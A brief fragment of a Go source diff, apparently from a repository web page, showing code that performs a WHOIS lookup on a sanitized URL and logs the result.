result, err := whois.Whois(sanitizedURL)
|
||||
if err == nil {
|
||||
log.Info(result)
|
||||
logger.Write(sanitizedURL, logdir, result)
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user